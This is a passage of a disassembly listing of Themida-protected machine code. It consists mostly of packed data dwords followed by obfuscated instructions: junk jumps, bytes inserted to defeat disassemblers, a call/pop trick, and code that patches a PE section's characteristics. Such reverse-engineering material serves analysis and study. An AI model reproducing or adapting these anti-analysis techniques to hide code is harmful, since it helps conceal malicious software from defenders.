		dd 4731BE37h, 365DB132h, 0BF7F063Dh, 5657B135h,	23D235A0h
		dd 37F0F7FCh, 56EB333Dh, 558CB132h, 0ACBB64B8h,	565A5835h
		dd 0E921B132h, 1F878C93h, 46D4326Ch, 4050BE31h,	0AEEAB132h
		dd 56713E3Dh, 36DAB132h, 361CD053h, 4CCA0B54h, 0F8B3B60h
		dd 0AE729A53h, 578938CEh, 0A9524833h, 0BF8A4ECDh, 56BAB122h
		dd 70D930F2h, 5B65A6C2h, 0CC221C82h, 0EFEB7448h, 56D5B48Bh
		dd 5862BE32h, 3675B132h, 0AF0A53B3h, 0D752C171h, 56AEB132h
		dd 36FC4253h, 56ABA3DBh, 6B64F832h, 0B8E9E412h,	1DB83345h
		dd 5C72C2A0h, 372B9F14h, 0A952A5DBh, 93D7D1CDh,	0AECAD00Dh
		dd 0D7B3D1FBh, 6C172D0h, 5675B8DAh, 0EB7BA232h,	215483F0h
		dd 0FF74D05h, 56477353h, 56ABB8DBh, 7E24A232h, 66AA3738h
		dd 59209B66h, 56BAB6BDh, 57DABE32h, 0AAAEB132h,	0DB585DB9h
		dd 56ABB124h, 56D5A0DBh, 0A326E32h, 0C4E7A9EDh,	815B2FE6h
		dd 2A88A98Ah, 0D5570C4Bh, 30374DF6h, 42427FB9h,	70D5B132h
		dd 7C65064Bh, 5AA2A4D5h, 100BA17Dh, 7A07664h, 3734369Eh
		dd 5BDFBE52h, 0BFABB132h, 56D5B13Ah, 0EC1FE398h, 250C6BBFh
		dd 56BABFDBh, 7F9C3632h, 278EC85Bh, 0C0BFA25Fh,	0BE5646FAh
		dd 56D5B132h, 0AA003068h, 367DB3B7h, 304C0E3Dh,	0AE6550B3h
		dd 552D153h, 0FA60E3Dh,	96113A53h, 0BFDDB371h, 56EAB13Dh
		dd 2A8C3BC6h, 8E86C0Fh,	315511CAh, 652426A0h, 565F58FBh
		dd 0F4DFB132h, 0C5916462h, 69692E95h, 43F1BE32h, 0A3BAB136h
		dd 0E33DB6B9h, 379802B9h, 0BF5BC4CDh, 56ABB139h, 69A77A04h
		dd 0EB27056Eh, 0A9395FC4h, 5F53B947h, 0F55DB132h, 0A9F421BBh
		dd 277896C8h, 8E20D162h, 52C65953h, 5D16B132h, 63F0BEF2h
		dd 59BAB132h, 565DB0B4h, 51254832h, 565E5852h, 9759B132h
		dd 0A9D7C65Ch, 37332EA0h, 5675A0DBh, 0BB19B932h, 0BE8DA7BCh
		dd 98072C9Fh, 9DD0A2C0h, 4C4216AFh, 0AAD5B132h,	0BFFE76B1h
		dd 5675B137h, 81A2BBA0h, 0A92D582Bh, 59CE4ECDh,	0A1DC498Dh
		dd 0AAEE3853h, 0B154D752h, 0A98B2596h, 0D97ABD47h, 56BAB13Eh
		dd 565B313Dh, 0D8A1B132h, 5657B132h, 59A3C4CDh,	56D5A7BFh
		dd 56FB5832h, 192B132h,	3693E752h, 0FE16221Ah, 9743ED14h
		dd 0A94DA9E5h, 59CBD105h, 56D5B1BFh, 0D6E5D032h, 5675B132h
		dd 4F34BE53h, 0BF5DB132h, 56AEB126h, 61E9AF4Bh,	7BA1385Fh
		dd 0E5D048F7h, 9D4A00B0h, 44CBE206h, 56B9F9DAh,	0E152D132h
		dd 5D52D0C1h, 49D3BEF2h, 0BFABB132h, 56D5B135h,	0B45A2D30h
		dd 0BF8E9B29h, 56BAB3C6h, 565DB8DBh, 8C9F3E32h,	3D67ACA7h
		dd 13209531h, 4D58BECEh, 36EAB132h, 5675A3DBh, 0CD44E432h
		dd 0C5E9AB46h, 2FC2ED65h, 22604E7Fh, 0DD55ABB4h, 51ECD0ECh
		dd 5450333Dh, 0A980B132h, 0D5B54D77h, 565DB12Bh, 56AEA5DBh
		dd 1F59C532h, 4D9BDC4Eh, 10846632h, 43E070C4h, 0CF58E70Eh
		dd 52C53242h, 67D9BE32h, 59AEB132h, 5657B0B1h, 29284D32h
		dd 0D2DAB13Eh, 56EAB112h, 567D58C7h, 591DB132h,	5AD8205Fh
		dd 0D47CEA7h, 3657B132h, 0D2A45482h, 56D5B131h,	373B3A54h
		dd 0A98A4E8Ah, 530348CDh, 595DB132h, 56AEBBB1h,	56525832h
		dd 0DE28B132h, 0A5078231h, 5066BE99h, 3675B132h, 0F10A7A84h
		dd 0E33DD153h, 0D56609CCh, 436A4E2h, 0E79063Dh,	0A8745853h
		dd 5D034ECDh, 0BA75B132h, 0CDE8B937h, 0B1AD679Ah, 292DE349h
		dd 0D258B422h, 56ABB15Dh
		dd 56D5A2DBh, 2A980732h, 0C27D06FEh, 706F4BF7h,	0D1ACC995h
		dd 924BC33Bh, 5047CEB1h, 5661343Dh, 0D7B5B132h,	4D0FFEC4h
		dd 0A7F4D77Ch, 0AFDBC2ACh, 5ED7BE73h, 59AEB132h, 5657B3BCh
		dd 0AACAD132h, 0BFD1F6B9h, 56EAB13Ah, 44656B58h, 31A11459h
		dd 3651EEB9h, 7697B489h, 37BF3B21h, 56AA9FDBh, 56DC5832h
		dd 0E0FFB132h, 0AF531E5Dh, 0DD421AD2h, 0D852B575h, 56AEB11Bh
		dd 565C5852h, 45AFB132h, 9C2A5B63h, 1C8C78BBh, 5667583Eh
		dd 6BC9B132h, 7F92ACC8h, 0ECC16A8Dh, 4D7AE96Dh,	1CD3CB5Dh
		dd 5A8A3A53h, 56EAA3DBh, 17E0A732h, 76E9872Ch, 0F4C4FEB9h
		dd 0B33DB3B1h, 0BFC01629h, 56ABB18Bh, 56D5A2DBh, 33081332h
		dd 0C6C89EB1h, 0ED2A615Ch, 1A652C90h, 4D3B1F3h,	5657BEDBh
		dd 922EA832h, 537D31CFh, 823449CEh, 8592A908h, 0BFBEF6B9h
		dd 565DB13Bh, 5D702891h, 535909Eh, 5AF43A9Eh, 56C6363Dh
		dd 5803B132h, 0F475B132h, 32270751h, 0FD112BDDh, 49564206h
		dd 52089AACh, 56ABB6DBh, 81E38B32h, 0F1881C85h,	539E32C7h
		dd 46C532C7h, 14D8BE31h, 59AEB132h, 5657B0BEh, 36EA4832h
		dd 300C0E3Dh, 0D07152B3h, 449CD153h, 3EBAB132h,	0CDA51E53h
		dd 0A2EE9B8Ch, 74B9854Ah, 0F1891B71h, 56C758C6h, 0E55DB132h
		dd 9D1FBB86h, 0BF765F44h, 5558B882h, 0FDE17CECh, 0BF8E9A53h
		dd 56ABB13Dh, 0DBB71275h, 12CA7720h, 524E38CEh,	0DF128F24h
		dd 595CB06Eh, 56AEA3BAh, 5AD4BE32h, 0BFABB132h,	56D5B135h
		dd 142D3C6h, 0EED1CEA9h, 0A9454ECDh, 565DBADBh,	0D7105132h
		dd 58238E28h, 66C6CD7Bh, 56D5BBDBh, 3177BA32h, 99F91C23h
		dd 0EF06F87Ch, 565DB137h, 56AEBFDBh, 5B5BAC32h,	0B46C74E9h
		dd 0A528B8EAh, 0A5BBFE61h, 0DE7A4D99h, 56BAB133h, 0AACC58C7h
		dd 5F474ECDh, 3057B132h, 83ECBDDDh, 2D42353h, 5D03D153h
		dd 9E75B132h, 7571D45h,	805CB5CEh, 3756169Dh, 51D7BEFBh
		dd 59ABB132h, 56D5B0B3h, 5E284432h, 567E5832h, 0FBDBB132h
		dd 19A994AEh, 5DF1925Ah, 0AEAEE42Dh, 0DCA45DB9h, 56D5B124h
		dd 56EAA0DBh, 0CCB85A32h, 8FC0B790h, 884790Ah, 0F00EC787h
		dd 92D452B8h, 572BBECEh, 0A3D5B132h, 56E55852h,	1C51B132h
		dd 0D3617C20h, 0FEF0C44Ch, 1BF64E3Ah, 50D4BE5Ah, 36ABB132h
		dd 37B57FB9h, 5EAF3A53h, 0BF89D152h, 56BAB134h,	0A3D9BFFBh
		dd 0BFCF508Eh, 5657B123h, 6DEE6803h, 79EB36E2h,	41E3A33Ch
		dd 1EB5BD68h, 1381D00Ch, 71DFBE3Eh, 0A3AEB132h,	5947F409h
		dd 56ABACB5h, 0EFB3D132h, 0A861D931h, 0AA307653h, 56BAB132h
		dd 565C363Dh, 0AE5BB132h, 5657F5DBh, 136C4432h,	56D5B0CEh
		dd 5E6EBE32h, 3675B132h, 56BA323Dh, 0BF3CB132h,	56AEB126h
		dd 9929CE27h, 4ADFBB2h,	0C1F611EBh, 0F1040E7h, 520F427Ch
		dd 56BAA1DBh, 56565832h, 2DDFB132h, 0FB8CC4C6h,	0A197758Ch
		dd 0DD2CD0D3h, 0DC8A4D77h, 37BD3AC6h, 5A7849FBh, 43DABE32h
		dd 0BFAEB132h, 5657B122h, 3E0B29B9h, 1805BDF8h,	0DFA54A36h
		dd 12075FB6h, 4E38BE67h, 595DB132h, 56AEA3B7h, 565A5832h
		dd 88F6B132h, 0A79AC215h, 2FDCE51Eh, 0DDAE5515h, 923948DEh
		dd 565B58CEh, 7171B132h, 7983D808h, 5824BE52h, 36D5B132h
		dd 56EA313Dh, 0D37AB132h, 56BAB132h, 565D5953h,	0D7F4B132h
		dd 54DC5FD8h, 3653D13Ah, 302D0E3Dh, 17D779B3h, 0AE89D053h
		dd 5F537801h, 1E5DB132h, 0C4649F40h, 0EF53458Eh, 0D7CB6A01h
		dd 0BB0413E5h, 373B3A57h, 5989ECBBh, 56BABDBBh,	50DEBE32h
		dd 59AEB132h, 5657B1B4h, 96113A32h, 59DDB371h, 56EAB9BCh
		dd 54F6BE32h, 36BAB132h, 56623253h, 5431353Dh, 0D758B132h
		dd 56ABB120h, 56D5BCDBh, 13400D32h, 865A7FCh, 45BC3C9Ch
		dd 0D5A11369h, 0D3A14E0Dh, 5657B17Bh, 56ABBCDBh, 86675432h
		dd 9A6FE086h, 55B9F97Ch, 9139EBE5h, 564C5826h, 0D907B132h
		dd 2105BDDEh, 95877764h, 0C5E7ED8Fh, 0BF37BA27h, 0A98A4E97h
		dd 56BAA5DBh, 44993532h, 0F52B4F85h, 10F7672Ah,	899B6025h
		dd 412050BEh, 52953284h, 10F1BE32h, 36BAB132h, 565DA3DBh
		dd 11686232h, 6958988Dh, 89875321h, 1D6BFB9Ah, 37523E07h
		dd 5679CEB1h, 5699353Dh, 0BFA8B132h, 56AEB15Ah,	56403B3Dh
		dd 4442B132h, 0AFD5B132h, 44297A5Fh, 89910DEh, 0E2A90820h
		dd 0E0CB6F18h, 0AAEB4ED8h, 41D1BECEh, 0BFABB132h, 56D5B120h
		dd 55219CBAh, 0CE05D2F6h, 9EF4FD7Dh, 0A6E11F2Dh, 912DBCDFh
		dd 0E958D126h, 0CB7230F4h, 37C4D13Eh, 0E551D752h, 3D9B3173h
		dd 0A8455853h, 5FB44ECDh, 36AEB132h, 17617D5Fh,	0C768118Bh
		dd 53C5CEB1h, 569A353Dh, 469CB132h, 0CDBAB132h,	173B2F21h
		dd 0E2681FFBh, 0A9C40D8Dh, 0D530DF0Fh, 59D3A14Dh, 56EAD6B7h
		dd 36344432h, 56BC3B3Dh, 0B5DCB132h, 1A0A4656h,	52103A53h
		dd 50424852h, 0B0D5B132h, 7DF86172h, 9FED00Eh, 5F53D13Eh
		dd 6E5DB132h, 0E83E1C9Fh, 0F3013583h, 376C3A54h, 56D561DBh
		dd 5F03D132h, 9775B132h, 0BAF6645Ah, 6C806469h,	72403054h
		dd 11DCD095h, 9204436h,	0C33C4D3Eh, 36EAB132h, 84BE3054h
		dd 377B3A4Ch, 0AE59F6B9h, 59A2EEB9h, 5657B5B4h,	0CFAD132h
		dd 528A9A53h, 530132CBh, 56723D3Dh, 0D2B5B132h,	565DB133h
		dd 46D132CBh, 0BD2BE31h, 36ABB132h, 56D0363Dh, 5E50B132h
		dd 0BE096BFEh, 56BAB13Fh, 22FA1327h, 1DED984h, 0FA8A4E41h
		dd 4C13D721h, 17B4EA81h, 56FC3C3Dh, 479CB132h, 33BAB132h
		dd 13B7D0Fh, 6A09ABABh,	0E0882B7Ah, 7DCABD83h, 56D85952h
		dd 0EACCB132h, 8FB283BAh, 0CE8EE331h, 0D7F03231h, 95BC5AD2h
		dd 37AFE91Eh, 0D4A46819h, 56D5B130h, 598AD052h,	5675B2B5h
		dd 8F31D732h, 3706E152h, 57F23853h, 0A9EF4833h,	59544ECDh
		dd 56D5A4B6h, 5966BE32h, 0BF75B132h, 56BAB138h,	0E868A92Ah
		dd 3AF8CC2Eh, 53EEABE9h, 59ABB132h, 56D5B9B9h, 0D3E5D132h
		dd 5675B132h, 0A3114253h, 0BF843A52h, 56AEB135h, 38B889B4h
		dd 377A5FC7h, 0A928DDDBh, 56E558CDh, 30ABB132h,	23C11133h
		dd 49AAEBAAh, 165DCDF5h, 0BE37D015h, 56ABB120h,	856B9379h
		dd 7481700Bh, 82ADD6ACh, 0B45A8B3Eh, 89D64399h,	0A72ED16Ah
		dd 2863073h, 3798F6A5h,	0AA903A53h, 5463BE52h, 0DD75B132h
		dd 0AA73D0EDh, 0DD3BD1F1h, 6CF4DE2h, 537E0CEh, 0BFF8D06Ch
		dd 56D5B135h, 1D10AAE0h, 0BEEF4AA3h, 56BAB132h,	1EB73068h
		dd 0A3A6B3BDh, 0EE31E652h, 0AAF32A0Ah, 0DC4F3C53h, 0AAE2B376h
		dd 56783E3Dh, 5E53B132h, 975DB132h, 3DA824AFh, 0EE46CF3Bh
		dd 56ABB156h, 56D5A5DBh, 0D4BBAA32h, 531CDC25h,	19B22991h
		dd 4F32E10Eh, 41DE4E2h,	53AE5976h, 5342B132h, 2BD5B132h
		dd 1FE90F60h, 3015BAB9h, 4A6161B3h, 565DB7DAh, 6F46232h
		dd 3080D34Fh, 1EBB57B3h, 6D2CD069h, 56FE58F3h, 0C47BB132h
		dd 0E8BF034Ah, 8709FCDEh, 0F7C459E5h, 775CC830h, 0CA42C8B5h
		dd 36D5B132h, 56EABADAh, 388E3432h, 970F0A3Bh, 0A4C44E7Dh
		dd 56AE3E3Dh, 0BF0EB132h, 56ABB137h, 4F61A993h,	1DE9D06Dh
		dd 56725836h, 56E5B132h, 0B9878259h, 97954D02h,	56F5333Dh
		dd 0D2A4B132h, 56D5B123h, 56EABDDBh, 917CD332h,	723A9884h
		dd 0EC5034FAh, 46E5B2C7h, 5657B7DBh, 6D2B5732h,	0BF49E0BFh
		dd 56EAB122h, 7DE70227h, 6026E8Eh, 3B052EB9h, 0C70E06C6h
		dd 0D4587009h, 56ABB135h
		dd 56D258C7h, 0BF1FB132h, 5675B1ACh, 562258C7h,	5EB4B132h
		dd 58AEB132h, 0D9F0723Ch, 0DBC25DA8h, 55BAC4A8h, 8515443Ah
		dd 5675A5DBh, 0F1DC6D32h, 0C545270Ah, 85D5A709h, 0BFBF1D96h
		dd 649BFFB6h, 5F55BE2Dh, 36EAB132h, 1637508Ch, 37DBD154h
		dd 565DE4DBh, 0B62FD132h, 5039F2B3h, 375C3A54h,	244E2BBFh
		dd 598AB931h, 5675B3B6h, 0D6E3E132h, 0BF3C7AE3h, 56AEB122h
		dd 0E3615981h, 3A31BEECh, 0D8F2C2ADh, 0A33E6EFAh, 0DA7A62CDh
		dd 56BAB13Ah, 565F343Dh, 37CEB132h, 5657BCDBh, 0B2D77B32h
		dd 0C33DD9ECh, 56EC5991h, 592E80FAh, 56BAB9B8h,	54DBBE32h
		dd 36AEB132h, 0DC58E853h, 56ABB139h, 565EBE52h,	30EAB132h
		dd 0E147EB9h, 56BB3E3Dh, 95A1B132h, 56AEA3DBh, 9FB06F32h
		dd 0EE6370F6h, 46B4D231h, 8A1EA5C1h, 38A58B7h, 56BAA2DBh
		dd 54D7BE32h, 60E226A6h, 6F5AFBF3h, 4AEC2C19h, 0D7D768A6h
		dd 0D2E55DB9h, 5675B13Ah, 1A02D752h, 3707E633h,	56AEB1DAh
		dd 0BCD6EB32h, 5EA92043h, 56D5BEDBh, 41F2FB32h,	52E20D11h
		dd 990B3A00h, 802BB2AFh, 56A25952h, 4A11B132h, 0DE2BAC57h
		dd 0B610EB24h, 0D163FB5h, 5675B8DBh, 0C096C32h,	473B5F02h
		dd 36CFA5ACh, 565A363Dh, 59CBB132h, 56D5B1B2h, 0EA160B32h
		dd 0DB14BB67h, 54FE3B88h, 50B4D13Ah, 49AEB132h,	0AB6639E3h
		dd 0A420D759h, 5E903A53h, 0B06BD752h, 0A5FE38DCh, 0AABD3853h
		dd 0BF51F4B9h, 56AEB121h, 0DA562B50h, 27C44951h, 0A80246B0h
		dd 0F80C197h, 0DF51846Ch, 0DD46B575h, 5CB4A177h, 1BAEB132h
		dd 0F687AFA1h, 26FF9782h, 5A923811h, 0A33A3152h, 37A53A54h
		dd 56BB373Dh, 0DDA5B132h, 0D3A1A577h, 5657B12Ch, 56B3393Dh
		dd 453CB132h, 4FEAB132h, 0C9440B73h, 88BB8D9Ch,	7109DA91h
		dd 89F092EBh, 11DE1798h, 5723BE22h, 0AED5B132h,	4A61BE53h
		dd 3675B132h, 56BABEDBh, 0A6522532h, 0B76A7F4h,	0F6EC2FFCh
		dd 0D31C0E47h, 56D5303Dh, 0BF8BB132h, 5675B13Fh, 0A5E96600h
		dd 0E0A6DCDBh, 531A05F7h, 42BE7832h, 6BABB132h,	0ABAE59ACh
		dd 0C3CFEECFh, 0AF72DEECh, 0F021F1E5h, 9483BF71h, 59CEB122h
		dd 5657A8B0h, 56B85932h, 616CB132h, 0B447864Ch,	0E377F4C4h
		dd 0DC227430h, 0B395B597h, 0BFFFEED0h, 5657B134h, 708205DAh
		dd 378D4EF1h, 3759D152h, 377079B2h, 43CB34F4h, 591AB6C8h
		dd 56AEB9BEh, 54DCBE32h, 36ABB132h, 25CFD953h, 0D78A1925h
		dd 1BEDD7F0h, 843BD70Ch, 0A93CF780h, 0ACB03C87h, 56525835h
		dd 0AD78B132h, 0DB94C09Eh, 0A8D0E9B7h, 868A4D35h, 5697363Dh
		dd 0BE3DB132h, 56AEB139h, 84FB371Ch, 680B2F37h,	0F46C540h
		dd 56EAA5DAh, 910BF632h, 0C308627h, 8A25FD33h, 5A423E9Bh
		dd 9001C660h, 4CAE91Eh,	56D4333Dh, 0DB1FB132h, 5433AAB8h
		dd 36EB483Ah, 565DBADAh, 9F02C232h, 0D010D651h,	9513B989h
		dd 56D5B9DBh, 31267D32h, 0C725CFD4h, 5F53E9C0h,	7B5DB132h
		dd 0E9FD52EDh, 5C003077h, 367B4E53h, 56D7303Dh,	378AB132h
		dd 5E9CEB53h, 28BAB132h, 4D2DEDE9h, 0DB060E72h,	5411AAB0h
		dd 56A3583Ah, 5027B132h, 0BA3C1D78h, 0E17AB517h, 0DD4FBD72h
		dd 565458EAh, 2D00B132h, 0C577FA39h, 4477D31h, 56D4303Dh
		dd 0AA16B132h, 479C803Dh, 7DBAB132h, 0FD26BF44h, 1BECAD67h
		dd 65383B68h, 21A6C12Ch, 56DB5868h, 0F0E7B132h,	9E2D25AFh
		dd 212E93CBh, 0C061646Ah, 56BF343Dh, 5ABEB132h,	5BABB132h
		dd 7D4B8F26h, 0B18FBF2Ah, 5517BE24h, 595349F1h,	925DB132h
		dd 3E66A0DAh, 6D205C10h, 6AE99408h, 0D45C7667h,	511095EBh
		dd 5675BBDBh, 58E9F532h, 0E72F4C9Ch, 375E4E02h,	55D6BE52h
		dd 0D6ABB132h, 915556D2h, 3629D0E6h, 5675A5DBh,	0A5364032h
		dd 0AB8B5EE2h, 0C98582D8h, 95C36F0Ah, 7726BAD7h, 545EBE83h
		dd 0DDEAB132h, 0E951D0CAh, 0Eh,	99B80E75h, 0BF31DA95h
		dd 0B4F3B093h, 0F5250CAh, 0F84h, 0AE900h, 228B0000h, 14FF747Eh
		dd 19A314A0h, 0E8h, 0EA815A00h,	80294B1h, 1800Fh, 60F50000h
		dd 52614EB6h, 6E9h, 71DA5500h, 0E957DB07h, 0Eh,	832C86AEh
		dd 9DF9ED24h, 0CD04C81Dh, 828BA38Dh, 7FA24D9h, 7850Fh
		dd 0BB600000h, 66F9ADD7h, 4E6DB961h, 8E0F41C6h,	4, 615E5260h
		dd 5AF8E1F7h, 0A8F0Fh, 80600000h, 0EDBE74F0h, 6118774Ch
		dd 303905h, 0FF25F800h,	0E97FFFFFh, 8, 0D19EC490h, 38437879h
		dd 0B4D5B660h, 82896142h, 7FA24D9h, 11820Fh, 0E9600000h
		dd 0Ah,	0D0754363h, 0EA32BD71h,	5A613552h, 830F59F8h, 1Ah
		dd 11E960h, 235C0000h, 7886F233h, 66E6EC6h, 0D3676FBEh
		dd 8B582490h, 0E9C361DEh, 13h, 76A3FBE8h, 0AD938AB6h, 0EE38CF26h
		dd 694F5B9Eh, 51CC70D7h, 0CE9h,	6B4A8F00h, 8C3FA23Dh, 18E7B741h
		dd 13E9520Ah, 5C000000h, 0FE8CE6A5h, 66FFF68Ch,	5FC7D8D0h
		dd 0ACAF150Fh, 0E882C5h, 5A000000h, 95BFEA81h, 81600802h
		dd 0DBAD54C7h, 0F18B662Bh, 65BE6061h, 0E915FAE0h, 11h
		dd 0D0E3AEBCh, 80FE38BFh, 0A40182E3h, 0CB96FDAAh, 0C88B6192h
		dd 0FE8CE8FCh, 890FFFFFh, 1Bh, 13E9F960h, 79000000h, 301B00AFh
		dd 8F58E1B9h, 86170525h, 2845F40Bh, 3361DF1Eh, 0EE9D2h
		dd 983D0000h, 0A4E51292h, 0B5B76F8Eh, 0F50C65A5h, 6060F1F7h
		dd 11E9h, 205D4200h, 8F9A98B5h,	0C817857h, 4367DFD1h, 0D781A559h
		dd 399D96B2h, 0D08B6661h, 0E9C28B61h, 5, 1AAC0E21h, 860F5AFCh
		dd 0Ch,	0D6BE6660h, 8A0FC9h, 61000000h,	1870Fh,	59F50000h
		dd 1820Fh, 0C3F50000h, 12E9h, 0C484AF00h, 85FEB712h, 0A0D618A3h
		dd 30D11746h, 0F5E18CDFh, 8B0FC08Bh, 0Ah, 870F60h, 0B1000000h
		dd 0C08B6168h, 0AE9h, 458F7800h, 92C40451h, 8D12F3E6h
		dd 25B0F85h, 8B0F6008h,	4, 0C119BF66h, 0FD0FF61h, 18Ch
		dd 8B66F900h, 0C8F0FC1h, 0F000000h, 680h, 880F00h, 0FC000000h
		dd 9482858Dh, 8D0F0802h, 7, 1860Fh, 89F90000h, 0FA06B185h
		dd 858DFC07h, 802958Fh,	7E9h, 0E99C9100h, 1E5DE860h, 958589F9h
		dd 6007FA18h, 7546CB81h, 0BB662087h, 0B8611428h, 0
; ---------------------------------------------------------------------------
		jmp	loc_62B23E
; ---------------------------------------------------------------------------
		db 0A8h, 0F5h, 0F8h
		db 1, 42h
; ---------------------------------------------------------------------------


loc_62B23E:				; CODE XREF: Themida_:0062B234j
		or	eax, eax
		jz	loc_62B3C4
		cmc
		mov	byte ptr [ebp+7FA1571h], 56h
		jl	loc_62B25E
		jmp	loc_62B25E
; ---------------------------------------------------------------------------
		db 0F8h, 22h, 9Dh
		db 0B8h, 3Eh
; ---------------------------------------------------------------------------


loc_62B25E:				; CODE XREF: Themida_:0062B24Ej
					; Themida_:0062B254j
		push	0A9C530DFh
		jb	loc_62B27D
		jmp	loc_62B27D
; ---------------------------------------------------------------------------
		dw 2848h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 3Ch,	0Ch, 82h
		dd 126980C4h, 0CB7E636Ah
		db 0BAh
; ---------------------------------------------------------------------------


loc_62B27D:				; CODE XREF: Themida_:0062B263j
					; Themida_:0062B269j
		push	dword ptr [ebp+7FA1E8Dh]
		jg	loc_62B291
		pusha
		mov	dx, 0E583h
		mov	bh, 0F7h
		popa


loc_62B291:				; CODE XREF: Themida_:0062B283j
		lea	eax, [ebp+7FE3A58h]
		jge	loc_62B2A7
		jmp	loc_62B2A7
; ---------------------------------------------------------------------------
		dw 4883h
		db 0EBh, 0C9h, 0A0h
; ---------------------------------------------------------------------------


loc_62B2A7:				; CODE XREF: Themida_:0062B297j
					; Themida_:0062B29Dj
		jnz	loc_62B2B4
		jnp	loc_62B2B4
		cld


loc_62B2B4:				; CODE XREF: Themida_:loc_62B2A7j
					; Themida_:0062B2ADj
		call	eax	; _adjust_fdiv
		jo	loc_62B2CE
		pusha
		jmp	loc_62B2C8
; ---------------------------------------------------------------------------
		dw 0D7C0h
		dd 53C03D11h
; ---------------------------------------------------------------------------


loc_62B2C8:				; CODE XREF: Themida_:0062B2BDj
		sub	bx, 0E2BCh
		popa


loc_62B2CE:				; CODE XREF: Themida_:0062B2B6j
		push	eax
		pusha
		mov	ch, 0E9h
		mov	cl, 0FEh
		popa
		lea	ecx, [ebp+7FA0271h]
		pusha
		jmp	loc_62B2F5
; ---------------------------------------------------------------------------
		db 55h,	48h, 3Dh
		dd 20241831h, 75AEB672h, 54F2C95Dh, 0A53FD16Ch
		db 67h
; ---------------------------------------------------------------------------


loc_62B2F5:				; CODE XREF: Themida_:0062B2DCj
		jz	loc_62B2FE
		mov	si, di


loc_62B2FE:				; CODE XREF: Themida_:loc_62B2F5j
		popa
		push	ecx
		jmp	loc_62B30A
; ---------------------------------------------------------------------------
		db 0E4h, 42h, 0C5h
		db 0D8h, 0A2h
; ---------------------------------------------------------------------------


loc_62B30A:				; CODE XREF: Themida_:0062B300j
		push	4
		pusha
		jns	loc_62B318	; CODE XREF: Themida_:0062B360j
		add	di, 0E0B9h


loc_62B318:				; CODE XREF: Themida_:0062B30Dj
		mov	ebx, 249BC656h
		popa
		push	1000h
		jmp	loc_62B32F
; ---------------------------------------------------------------------------
		dd 3DA1BF8Fh
; ---------------------------------------------------------------------------
		ror	byte ptr [ecx+5Eh], 1


loc_62B32F:				; CODE XREF: Themida_:0062B323j
		push	dword ptr [ebp+7FA1E4Dh]
		pusha
		jle	loc_62B341
		xor	bx, 0D39Fh


loc_62B341:				; CODE XREF: Themida_:0062B336j
		jb	loc_62B349
		push	ecx
		pop	edi


loc_62B349:				; CODE XREF: Themida_:loc_62B341j
		popa
		call	eax	; _adjust_fdiv
		pusha
		xor	ah, 0E4h
		call	near ptr loc_62B367+1
		frstor	byte ptr [ebp+68488ADDh]
		mov	ds:231EE4BCh, al
		jnz	short near ptr loc_62B30D+5
		and	eax, 0C098ABC0h


loc_62B367:				; CODE XREF: Themida_:0062B350p
		in	al, 80h		; manufacture's diagnostic checkpoint
		out	6Eh, eax
		pop	esi
		popa
		mov	edi, [ebp+7FA1E4Dh]
		jmp	loc_62B37F
; ---------------------------------------------------------------------------
		dd 0E4A40B56h
		db 46h,	63h, 7Ah
; ---------------------------------------------------------------------------


loc_62B37F:				; CODE XREF: Themida_:0062B373j
		jmp	loc_62B397
; ---------------------------------------------------------------------------
		dd 65902C1h, 2FEEEB27h,	0B29E073Eh, 4E4084BBh
; ---------------------------------------------------------------------------
		mov	ah, 0A7h
		cmpsb


loc_62B397:				; CODE XREF: Themida_:loc_62B37Fj
		add	edi, [edi+3Ch]
		cld
		add	edi, 0F8h
		pusha
		pusha
		mov	bl, 0CBh
		jle	$+6
		popa
		adc	bh, 3Eh
		popa
		js	loc_62B3BC
		pusha
		mov	ax, 0B21Fh
		popa


loc_62B3BC:				; CODE XREF: Themida_:0062B3B0j
		mov	dword ptr [edi+24h], 60000020h
		cld


loc_62B3C4:				; CODE XREF: Themida_:0062B240j
		lea	ebx, [ebp+7FA32C1h]
		jb	loc_62B3DF
		jmp	loc_62B3DF
; ---------------------------------------------------------------------------
		db 92h,	2Dh, 9Dh
		dd 573ABD29h
		db 7Dh,	0EFh, 0DDh
; ---------------------------------------------------------------------------


loc_62B3DF:				; CODE XREF: Themida_:0062B3CAj
					; Themida_:0062B3D0j
		mov	eax, [ebx]
		clc
		or	eax, eax
		jz	loc_62B415
		stc
		mov	eax, [eax]
		pusha
		mov	dx, 6666h
		push	eax
		jge	$+6
		pop	edx
		popa
		mov	[ebx+4], eax
		jmp	loc_62B415
; ---------------------------------------------------------------------------
		db 0B0h
		dd 0FCB6504Dh, 0F0FDF483h, 99AD4C44h, 0B938E0F0h
		db 19h
; ---------------------------------------------------------------------------


loc_62B415:				; CODE XREF: Themida_:0062B3E4j
					; Themida_:0062B3FEj
		mov	ecx, 234CF6h
		lea	ecx, [ebp+80299B0h]
		and	edi, [ebp+7FA25D9h]
		mov	[ebp+7FA27C1h],	ecx
		push	0
		push	ebx
		call	sub_62B437
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_62B437	proc near		; CODE XREF: Themida_:0062B42Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_62B437	endp

; ---------------------------------------------------------------------------
		db 0Bh
		dd 7E9BFh, 0DC400000h, 2570E691h, 185C780h, 2407FA1Ch
		dd 23000067h, 0FA0455B5h, 0ED85C707h, 7FA1Ah, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 75D2C356h, 0E6283D69h, 66E60869h,	0FF9E58BBh
		dd 0FA1735B5h, 4408BB07h, 95FF714Dh, 7FA177Dh, 45E38166h
		dd 0FF006AEEh, 0FA012D95h, 0EBC08B07h, 7CB412Dh, 0A79EE285h
		dd 0F07E8660h, 7E7E4CDFh, 74E9B8h, 0BDBA0576h, 14102CCDh
		dd 0FA269E53h, 194E1FA8h, 0A0038E1h, 253B18EEh,	2CE95339h
		dd 0D1000000h, 0B91DCh,	9 dup(0)
		dd 0E9000000h, 9C3h, 29C7068h, 0E4BAE908h, 4668FFF7h, 0E908029Dh
		dd 0FFF7E4B0h, 2A02C68h, 0E4A6E908h, 349CFFF7h,	0D8FAF60Ch
		dd 0FB12EE24h, 24ADD141h, 0C20CF41Eh, 0DC06D042h, 5CA65E78h
		dd 7A88B814h, 57AB5976h, 9082BC17h, 0D0CFF3C9h,	29C25B89h
		dd 0C212474Bh, 64EA05EFh, 77890ED6h, 3F1BA55Fh,	0C28B6993h
